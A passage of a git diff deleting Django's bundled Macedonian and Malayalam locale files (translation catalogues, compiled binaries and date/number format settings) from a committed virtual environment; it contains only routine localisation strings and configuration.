-msgid "August" -msgstr "август" - -msgid "September" -msgstr "Септември" - -msgid "October" -msgstr "Октомври" - -msgid "November" -msgstr "Ноември" - -msgid "December" -msgstr "Декември" - -msgid "jan" -msgstr "јан" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "мај" - -msgid "jun" -msgstr "јун" - -msgid "jul" -msgstr "јул" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сеп" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ное" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Јан." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Март" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Април" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Мај" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Јуни" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Јули" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Септ." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ное." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "Јануари" - -msgctxt "alt. month" -msgid "February" -msgstr "Февруари" - -msgctxt "alt. month" -msgid "March" -msgstr "Март" - -msgctxt "alt. month" -msgid "April" -msgstr "Април" - -msgctxt "alt. month" -msgid "May" -msgstr "Мај" - -msgctxt "alt. month" -msgid "June" -msgstr "Јуни" - -msgctxt "alt. month" -msgid "July" -msgstr "Јули" - -msgctxt "alt. month" -msgid "August" -msgstr "Август" - -msgctxt "alt. month" -msgid "September" -msgstr "Септември" - -msgctxt "alt. month" -msgid "October" -msgstr "Октомври" - -msgctxt "alt. month" -msgid "November" -msgstr "Ноември" - -msgctxt "alt. month" -msgid "December" -msgstr "Декември" - -msgid "This is not a valid IPv6 address." -msgstr "Ова не е валидна IPv6 адреса." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "или" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d година" -msgstr[1] "%d години" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d месец" -msgstr[1] "%d месеци" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d недела" -msgstr[1] "%d недели" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d ден" -msgstr[1] "%d дена" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d час" -msgstr[1] "%d часови" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d минута" -msgstr[1] "%d минути" - -msgid "Forbidden" -msgstr "Забрането" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF верификацијата не успеа. Барањето е прекинато." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Ја гледате оваа порака бидејќи овој сајт бара CSRF колаче (cookie) за да се " -"поднесуваат форми. Ова колаче е потребно од безбедносни причини, за да се " -"осигураме дека вашиот веб прелистувач не е грабнат и контролиран од трети " -"страни." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Повеќе информации се достапни со DEBUG = True." - -msgid "No year specified" -msgstr "Не е дадена година" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Не е даден месец" - -msgid "No day specified" -msgstr "Не е даден ден" - -msgid "No week specified" -msgstr "Не е дадена недела" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Нема достапни %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Идни %(verbose_name_plural)s не се достапни бидејќи %(class_name)s." -"allow_future е False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Нема %(verbose_name)s што се совпаѓа со пребарувањето" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Невалидна страна (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Индекси на директориуми не се дозволени тука." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Индекс на %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/mk/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 84356f06..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 5fd855a7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mk/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mk/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/mk/formats.py deleted file mode 100644 index fbb577f7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/mk/formats.py +++ /dev/null @@ -1,40 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.m.Y" -SHORT_DATETIME_FORMAT = "j.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%d. %m. %Y", # '25. 10. 2006' - "%d. %m. %y", # '25. 10. 06' -] - -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d. %m. %Y %H:%M:%S", # '25. 10. 2006 14:30:59' - "%d. %m. %Y %H:%M:%S.%f", # '25. 10. 2006 14:30:59.000200' - "%d. %m. %Y %H:%M", # '25. 10. 2006 14:30' - "%d. %m. %y %H:%M:%S", # '25. 10. 06 14:30:59' - "%d. %m. %y %H:%M:%S.%f", # '25. 10. 06 14:30:59.000200' - "%d. %m. %y %H:%M", # '25. 10. 06 14:30' -] - -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.mo deleted file mode 100644 index 17d15c64..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.po deleted file mode 100644 index 7e1945df..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ml/LC_MESSAGES/django.po +++ /dev/null @@ -1,1274 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# c1007a0b890405f1fbddfacebc4c6ef7, 2013 -# Claude Paroz , 2020 -# Hrishikesh , 2019-2020 -# Jannis Leidel , 2011 -# Jaseem KM , 2019 -# Jeffy , 2012 -# Jibin Mathew , 2019 -# Mariusz Felisiak , 2021 -# Rag sagar , 2016 -# Rajeesh Nair , 2011-2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-24 16:29+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Malayalam (http://www.transifex.com/django/django/language/" -"ml/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ml\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "ആഫ്രിക്കാന്‍സ്" - -msgid "Arabic" -msgstr "അറബിൿ" - -msgid "Algerian Arabic" -msgstr "അൾഗേരിയൻ അറബിൿ" - -msgid "Asturian" -msgstr "ആസ്ടൂറിയൻ" - -msgid "Azerbaijani" -msgstr "അസര്‍ബൈജാനി" - -msgid "Bulgarian" -msgstr "ബള്‍ഗേറിയന്‍" - -msgid "Belarusian" -msgstr "ബെലറൂഷ്യന്‍" - -msgid "Bengali" -msgstr "ബംഗാളി" - -msgid "Breton" -msgstr "ബ്രെട്ടണ്‍" - -msgid "Bosnian" -msgstr "ബോസ്നിയന്‍" - -msgid "Catalan" -msgstr "കാറ്റലന്‍" - -msgid "Czech" -msgstr "ചെൿ" - -msgid "Welsh" -msgstr "വെല്‍ഷ്" - -msgid "Danish" -msgstr "ഡാനിഷ്" - -msgid "German" -msgstr "ജര്‍മന്‍" - -msgid "Lower Sorbian" -msgstr "ലോവർ സോർബിയൻ " - -msgid "Greek" -msgstr "ഗ്രീക്ക്" - -msgid "English" -msgstr "ഇംഗ്ലീഷ്" - -msgid "Australian English" -msgstr "ആസ്ട്രേലിയൻ ഇംഗ്ലീഷ്" - -msgid "British English" -msgstr "ബ്രിട്ടീഷ് ഇംഗ്ലീഷ്" - -msgid "Esperanto" -msgstr "എസ്പെരാന്റോ" - -msgid "Spanish" -msgstr "സ്പാനിഷ്" - -msgid "Argentinian Spanish" -msgstr "അര്‍ജന്റീനിയന്‍ സ്പാനിഷ്" - -msgid "Colombian Spanish" -msgstr "കൊളംബിയൻ സ്പാനിഷ്" - -msgid "Mexican Spanish" -msgstr "മെക്സിക്കന്‍ സ്പാനിഷ്" - -msgid "Nicaraguan Spanish" -msgstr "നിക്കരാഗ്വന്‍ സ്പാനിഷ്" - -msgid "Venezuelan Spanish" -msgstr "വെനിസ്വലന്‍ സ്പാനിഷ്" - -msgid "Estonian" -msgstr "എസ്ടോണിയന്‍ സ്പാനിഷ്" - -msgid "Basque" -msgstr "ബാസ്ക്യു" - -msgid "Persian" -msgstr "പേര്‍ഷ്യന്‍" - -msgid "Finnish" -msgstr "ഫിന്നിഷ്" - -msgid "French" -msgstr "ഫ്രെഞ്ച്" - -msgid "Frisian" -msgstr "ഫ്രിസിയന്‍" - -msgid "Irish" -msgstr "ഐറിഷ്" - -msgid "Scottish Gaelic" -msgstr "സ്കോട്ടിഷ് ഗൈലിൿ" - -msgid "Galician" -msgstr "ഗലിഷ്യന്‍" - -msgid "Hebrew" -msgstr "ഹീബ്രു" - -msgid "Hindi" -msgstr "ഹിന്ദി" - -msgid "Croatian" -msgstr "ക്രൊയേഷ്യന്‍" - -msgid "Upper Sorbian" -msgstr "അപ്പർ സോർബിയൻ " - -msgid "Hungarian" -msgstr "ഹംഗേറിയന്‍" - -msgid "Armenian" -msgstr "അർമേനിയൻ" - -msgid "Interlingua" -msgstr "ഇന്റര്‍ലിംഗ്വാ" - -msgid "Indonesian" -msgstr "ഇന്തൊനേഷ്യന്‍" - -msgid "Igbo" -msgstr "" - -msgid "Ido" -msgstr "ഈടോ" - -msgid "Icelandic" -msgstr "ഐസ്ലാന്‍ഡിൿ" - -msgid "Italian" -msgstr "ഇറ്റാലിയന്‍" - -msgid "Japanese" -msgstr "ജാപ്പനീസ്" - -msgid "Georgian" -msgstr "ജോര്‍ജിയന്‍" - -msgid "Kabyle" -msgstr "കാബയെൽ " - -msgid "Kazakh" -msgstr "കസാഖ്" - -msgid "Khmer" -msgstr "ഖ്മേര്‍" - -msgid "Kannada" -msgstr "കന്നഡ" - -msgid "Korean" -msgstr "കൊറിയന്‍" - -msgid "Kyrgyz" -msgstr "" - -msgid "Luxembourgish" -msgstr "ലക്സംബര്‍ഗിഷ് " - -msgid "Lithuanian" -msgstr "ലിത്വാനിയന്‍" - -msgid "Latvian" -msgstr "ലാറ്റ്വിയന്‍" - -msgid "Macedonian" -msgstr "മാസിഡോണിയന്‍" - -msgid "Malayalam" -msgstr "മലയാളം" - -msgid "Mongolian" -msgstr "മംഗോളിയന്‍" - -msgid "Marathi" -msgstr "മറാത്തി" - -msgid "Malay" -msgstr "" - -msgid "Burmese" -msgstr "ബര്‍മീസ്" - -msgid "Norwegian Bokmål" -msgstr "നോർവേജിയൻ ബുക്ക്മൊൾ" - -msgid "Nepali" -msgstr "നേപ്പാളി" - -msgid "Dutch" -msgstr "ഡച്ച്" - -msgid "Norwegian Nynorsk" -msgstr "നോര്‍വീജിയന്‍ നിനോഷ്ക്" - -msgid "Ossetic" -msgstr "ഒസ്സെറ്റിക്" - -msgid "Punjabi" -msgstr "പഞ്ചാബി" - -msgid "Polish" -msgstr "പോളിഷ്" - -msgid "Portuguese" -msgstr "പോര്‍ചുഗീസ്" - -msgid "Brazilian Portuguese" -msgstr "ബ്രസീലിയന്‍ പോര്‍ച്ചുഗീസ്" - -msgid "Romanian" -msgstr "റൊമാനിയന്‍" - -msgid "Russian" -msgstr "റഷ്യന്‍" - -msgid "Slovak" -msgstr "സ്ലൊവാൿ" - -msgid "Slovenian" -msgstr "സ്ളൊവേനിയന്‍" - -msgid "Albanian" -msgstr "അല്‍ബേനിയന്‍" - -msgid "Serbian" -msgstr "സെര്‍ബിയന്‍" - -msgid "Serbian Latin" -msgstr "സെര്‍ബിയന്‍ ലാറ്റിന്‍" - -msgid "Swedish" -msgstr "സ്വീഡിഷ്" - -msgid "Swahili" -msgstr "സ്വാഹിലി" - -msgid "Tamil" -msgstr "തമിഴ്" - -msgid "Telugu" -msgstr "തെലുങ്ക്" - -msgid "Tajik" -msgstr "" - -msgid "Thai" -msgstr "തായ്" - -msgid "Turkmen" -msgstr "" - -msgid "Turkish" -msgstr "ടര്‍ക്കിഷ്" - -msgid "Tatar" -msgstr "തൊതാര്‍" - -msgid "Udmurt" -msgstr "ഉദ്മര്‍ത്" - -msgid "Ukrainian" -msgstr "യുക്രേനിയന്‍" - -msgid "Urdu" -msgstr "ഉര്‍ദു" - -msgid "Uzbek" -msgstr "ഉസ്ബെൿ" - -msgid "Vietnamese" -msgstr "വിയറ്റ്നാമീസ്" - -msgid "Simplified Chinese" -msgstr "സിമ്പ്ലിഫൈഡ് ചൈനീസ്" - -msgid "Traditional Chinese" -msgstr "പരമ്പരാഗത ചൈനീസ്" - -msgid "Messages" -msgstr "സന്ദേശങ്ങൾ" - -msgid "Site Maps" -msgstr "സൈറ്റ് മാപ്പുകൾ" - -msgid "Static Files" -msgstr " സ്റ്റാറ്റിൿ ഫയലുകൾ" - -msgid "Syndication" -msgstr "വിതരണം " - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "" - -msgid "That page number is not an integer" -msgstr "ആ പേജ് നമ്പർ ഒരു ഇന്റിജറല്ല" - -msgid "That page number is less than 1" -msgstr "ആ പേജ് നമ്പർ 1 നെ കാൾ ചെറുതാണ് " - -msgid "That page contains no results" -msgstr "ആ പേജിൽ റിസൾട്ടുകൾ ഒന്നും ഇല്ല " - -msgid "Enter a valid value." -msgstr "ശരിയായ വാല്യു നൽകുക." - -msgid "Enter a valid URL." -msgstr "ശരിയായ URL നല്‍കുക" - -msgid "Enter a valid integer." -msgstr "ശരിയായ ഇന്റിജർ നൽകുക." - -msgid "Enter a valid email address." -msgstr "ശരിയായ ഇമെയില്‍ വിലാസം നല്‍കുക." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"അക്ഷരങ്ങള്‍, അക്കങ്ങള്‍, അണ്ടര്‍സ്കോര്‍, ഹൈഫന്‍ എന്നിവ മാത്രം അടങ്ങിയ ശരിയായ ഒരു 'സ്ലഗ്ഗ്' നൽകുക. " - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"യൂണികോഡ് അക്ഷരങ്ങൾ, അക്കങ്ങൾ, ഹൈഫണുകൾ, അണ്ടർസ്കോറുക‌‌ൾ എന്നിവമാത്രം അടങ്ങിയ ശെരിയായ ‌ഒരു " -"“സ്ലഗ്” എഴുതുക ." - -msgid "Enter a valid IPv4 address." -msgstr "ശരിയായ IPv4 വിലാസം നൽകുക." - -msgid "Enter a valid IPv6 address." -msgstr "ശരിയായ ഒരു IPv6 വിലാസം നൽകുക." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "ശരിയായ ഒരു IPv4 വിലാസമോ IPv6 വിലാസമോ നൽകുക." - -msgid "Enter only digits separated by commas." -msgstr "കോമകൾ ഉപയോഗിച്ച് വേർതിരിച്ച രീതിയിലുള്ള അക്കങ്ങൾ മാത്രം നൽകുക." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "ഇത് %(limit_value)s ആവണം. (ഇപ്പോള്‍ %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "ഇത് %(limit_value)s-ഓ അതില്‍ കുറവോ ആവണം" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "ഇത് %(limit_value)s-ഓ അതില്‍ കൂടുതലോ ആവണം" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"ഈ വാല്യൂയിൽ %(limit_value)d ക്യാരക്ടർ എങ്കിലും ഉണ്ടെന്നു ഉറപ്പു വരുത്തുക(ഇതിൽ " -"%(show_value)d ഉണ്ട് )" -msgstr[1] "" -"ഈ വാല്യൂയിൽ %(limit_value)dക്യാരക്ടേർസ് എങ്കിലും ഉണ്ടെന്നു ഉറപ്പു വരുത്തുക(ഇതിൽ " -"%(show_value)d ഉണ്ട് )" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"ഈ വാല്യൂയിൽ %(limit_value)d ക്യാരക്ടർ 1 ഇൽ കൂടുതൽ ഇല്ലെന്നു ഉറപ്പു വരുത്തുക(ഇതിൽ 2 " -"%(show_value)d ഉണ്ട് )" -msgstr[1] "" -"ഈ വാല്യൂയിൽ %(limit_value)d ക്യാരക്ടർസ് 1 ഇൽ കൂടുതൽ ഇല്ലെന്നു ഉറപ്പു വരുത്തുക(ഇതിൽ 2 " -"%(show_value)d ഉണ്ട് )" - -msgid "Enter a number." -msgstr "ഒരു സംഖ്യ നല്കുക." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "%(max)s ഡിജിറ്റിൽ കൂടുതൽ ഇല്ല എന്ന് ഉറപ്പു വരുത്തുക ." -msgstr[1] "%(max)sഡിജിറ്റ്സിൽ കൂടുതൽ ഇല്ല എന്ന് ഉറപ്പു വരുത്തുക. " - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "%(max)sകൂടുതൽ ഡെസിമൽ പോയന്റില്ല എന്ന് ഉറപ്പു വരുത്തുക. " -msgstr[1] "%(max)sകൂടുതൽ ഡെസിമൽ പോയിന്റുകളില്ല എന്ന് ഉറപ്പു വരുത്തുക. " - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "%(max)sഡിജിറ്റ് ഡെസിമൽ പോയിന്റിനു മുൻപ് ഇല്ല എന്ന് ഉറപ്പു വരുത്തുക." -msgstr[1] "%(max)sഡിജിറ്റ്സ് ഡെസിമൽ പോയിന്റിനു മുൻപ് ഇല്ല എന്ന് ഉറപ്പു വരുത്തുക. " - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"“%(extension)s” എന്ന ഫയൽ എക്സ്റ്റൻഷൻ അനുവദനീയമല്ല. അനുവദനീയമായ എക്സ്റ്റൻഷനുകൾ ഇവയാണ്: " -"%(allowed_extensions)s" - -msgid "Null characters are not allowed." -msgstr "Null ക്യാരക്ടറുകൾ അനുവദനീയമല്ല." - -msgid "and" -msgstr "പിന്നെ" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)sഉള്ള %(model_name)sനിലവിലുണ്ട്." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r എന്ന വാല്യൂ ശെരിയായ ചോയ്സ് അല്ല. " - -msgid "This field cannot be null." -msgstr "ഈ കളം (ഫീല്‍ഡ്) ഒഴിച്ചിടരുത്." - -msgid "This field cannot be blank." -msgstr "ഈ കളം (ഫീല്‍ഡ്) ഒഴിച്ചിടരുത്." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s-ഓടു കൂടിയ %(model_name)s നിലവിലുണ്ട്." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(date_field_label)s %(lookup_type)s-നു %(field_label)s ആവര്‍ത്തിക്കാന്‍ പാടില്ല." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s എന്ന തരത്തിലുള്ള കളം (ഫീല്‍ഡ്)" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” മൂല്യം ഒന്നുകിൽ True, False എന്നിവയിലേതെങ്കിലുമേ ആവാൻ പാടുള്ളൂ." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" -"“%(value)s” മൂല്യം ഒന്നുകിൽ True, False അല്ലെങ്കിൽ None എന്നിവയിലേതെങ്കിലുമേ ആവാൻ " -"പാടുള്ളൂ." - -msgid "Boolean (Either True or False)" -msgstr "ശരിയോ തെറ്റോ (True അഥവാ False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "സ്ട്രിങ്ങ് (%(max_length)s വരെ നീളമുള്ളത്)" - -msgid "Comma-separated integers" -msgstr "കോമയിട്ട് വേര്‍തിരിച്ച സംഖ്യകള്‍" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "തീയതി (സമയം വേണ്ട)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "തീയതി (സമയത്തോടൊപ്പം)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "ദശാംശസംഖ്യ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "കാലയളവ്" - -msgid "Email address" -msgstr "ഇ-മെയില്‍ വിലാസം" - -msgid "File path" -msgstr "ഫയല്‍ സ്ഥാനം" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "ദശാംശസംഖ്യ" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "പൂര്‍ണ്ണസംഖ്യ" - -msgid "Big (8 byte) integer" -msgstr "8 ബൈറ്റ് പൂര്‍ണസംഖ്യ." - -msgid "Small integer" -msgstr "ഹ്രസ്വ പൂര്‍ണസംഖ്യ" - -msgid "IPv4 address" -msgstr "IPv4 വിലാസം" - -msgid "IP address" -msgstr "IP വിലാസം" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "ശരിയോ തെറ്റോ എന്നു മാത്രം (True, False, None എന്നിവയില്‍ ഏതെങ്കിലും ഒന്ന്)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "ധന പൂര്‍ണസംഖ്യ" - -msgid "Positive small integer" -msgstr "ധന ഹ്രസ്വ പൂര്‍ണസംഖ്യ" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "സ്ലഗ് (%(max_length)s വരെ)" - -msgid "Text" -msgstr "ടെക്സ്റ്റ്" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "സമയം" - -msgid "URL" -msgstr "URL(വെബ്-വിലാസം)" - -msgid "Raw binary data" -msgstr "റോ ബൈനറി ഡാറ്റ" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "എല്ലായിടത്തും യുണീക്കായ ഐഡന്റിഫൈയർ." - -msgid "File" -msgstr "ഫയല്‍" - -msgid "Image" -msgstr "ചിത്രം" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s%(value)r ഉള്ള%(model)s ഇൻസ്റ്റൻസ് നിലവിൽ ഇല്ല." - -msgid "Foreign Key (type determined by related field)" -msgstr "ഫോറിന്‍ കീ (ടൈപ്പ് ബന്ധപ്പെട്ട ഫീല്‍ഡില്‍ നിന്നും നിര്‍ണ്ണയിക്കുന്നതാണ്)" - -msgid "One-to-one relationship" -msgstr "വണ്‍-ടു-വണ്‍ ബന്ധം" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s റിലേഷൻഷിപ്‌." - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)sറിലേഷൻഷിപ്‌സ്. " - -msgid "Many-to-many relationship" -msgstr "മെനി-ടു-മെനി ബന്ധം" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "ഈ കള്ളി(ഫീല്‍ഡ്) നിര്‍ബന്ധമാണ്." - -msgid "Enter a whole number." -msgstr "ഒരു പൂര്‍ണസംഖ്യ നല്കുക." - -msgid "Enter a valid date." -msgstr "ശരിയായ തീയതി നല്കുക." - -msgid "Enter a valid time." -msgstr "ശരിയായ സമയം നല്കുക." - -msgid "Enter a valid date/time." -msgstr "ശരിയായ തീയതിയും സമയവും നല്കുക." - -msgid 